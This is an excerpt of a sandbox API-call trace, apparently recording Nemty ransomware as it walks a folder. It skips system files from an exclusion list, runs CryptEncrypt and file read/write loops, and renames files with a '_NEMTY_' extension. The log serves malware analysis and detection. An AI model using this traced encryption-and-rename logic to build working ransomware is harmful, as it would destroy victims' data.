hHeap=0x4f90000) returned 1 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0153.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0153.890] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x868f38eb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x868f38eb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="2.png", cAlternateFileName="")) returned 1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2=".") returned 1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="..") returned 1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="...") returned 1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="windows") returned -1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="$RECYCLE.BIN") returned 1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="rsa") returned -1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="NTDETECT.COM") returned -1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="ntldr") returned -1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="MSDOS.SYS") returned -1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="IO.SYS") returned -1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="boot.ini") returned -1 [0153.890] lstrcmpiW (lpString1="2.png", lpString2="boot.ini") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="AUTOEXEC.BAT") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="ntuser.dat") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="desktop.ini") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="CONFIG.SYS") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="RECYCLER") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="BOOTSECT.BAK") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="bootmgr") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="programdata") returned -1 [0153.891] lstrcmpiW (lpString1="2.png", lpString2="appdata") returned -1 [0153.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0153.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.png", lpUsedDefaultChar=0x0) returned 5 [0153.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0153.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.png", lpUsedDefaultChar=0x0) returned 5 [0153.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0153.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x653ec20, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.png", lpUsedDefaultChar=0x0) returned 5 [0153.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0153.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2.png", cchWideChar=5, lpMultiByteStr=0x653ec58, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2.png", lpUsedDefaultChar=0x0) returned 5 [0153.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0153.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0153.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0153.891] Sleep (dwMilliseconds=0x5) [0153.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5fa110, dwHighDateTime=0x1d561e8)) [0153.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5fa110, dwHighDateTime=0x1d561e8)) [0153.892] GetLastError () returned 0x5 [0153.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0153.892] GetLastError () returned 0x5 [0153.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0153.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0153.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0153.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0153.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0153.892] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0153.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0153.892] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="2sQ33P+VSFtgPngOwrbpzIdqee5wMsDdO146yyFFTbdPHDgb/qf2Q/lICkq6zVlE\r\nSLW+pUijJDRVkD1/PXYwkjiAU1zEflTjfBiYhf5XpSCvp5C8dolbL/nnRW20UPEL\r\nYBXL3jbEVPJXpumaxalPO/EMhzfYEzAbEtqAmpGzk2shN0/RWMCxqMCBka/8QSdU\r\nJTkpFgXXQjcXRXXJXEef9MgpRy4/jzxdAaAv8JABf928aLE3TEn8IbS00FyAnEtO\r\nTnYAQiTjB2ns2kI61gFYLKZoLuVLJUyyZQFNXmd4YuAmriXPBbdyn+UqGDK1TkxJ\r\nft8AUBRmHKhiMvhM4lBEUQ==\r\n", pcchString=0x653e91c) returned 1 [0153.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0153.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0153.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0153.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0153.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0153.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0153.893] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.893] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0153.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0153.893] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.893] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.902] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.911] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.920] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.920] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.920] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.930] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0153.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.994] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0153.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0153.994] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0154.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0154.007] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0154.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0154.007] CloseHandle (hObject=0xffffffff) returned 0 [0154.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0154.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0154.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0154.007] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0154.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0154.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0154.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0154.007] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0154.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0154.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0154.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\2.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\2.png._nemty_kgobjgd_")) returned 0 [0154.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0154.007] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0154.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0154.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0154.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0154.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0154.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0154.008] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0154.008] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86919a48, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86919a48, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2ab298f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="20.png", cAlternateFileName="")) returned 1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2=".") returned 1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="..") returned 1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="...") returned 1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="windows") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="$RECYCLE.BIN") returned 1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="rsa") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="NTDETECT.COM") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="ntldr") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="MSDOS.SYS") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="IO.SYS") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="boot.ini") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="boot.ini") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="AUTOEXEC.BAT") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="ntuser.dat") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="desktop.ini") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="CONFIG.SYS") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="RECYCLER") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="BOOTSECT.BAK") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="bootmgr") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="programdata") returned -1 [0154.008] lstrcmpiW (lpString1="20.png", lpString2="appdata") returned -1 [0154.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20.png", lpUsedDefaultChar=0x0) returned 6 [0154.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20.png", lpUsedDefaultChar=0x0) returned 6 [0154.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20.png", lpUsedDefaultChar=0x0) returned 6 [0154.008] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0154.009] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="20.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="20.png", lpUsedDefaultChar=0x0) returned 6 [0154.009] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0154.009] HeapFree (in: 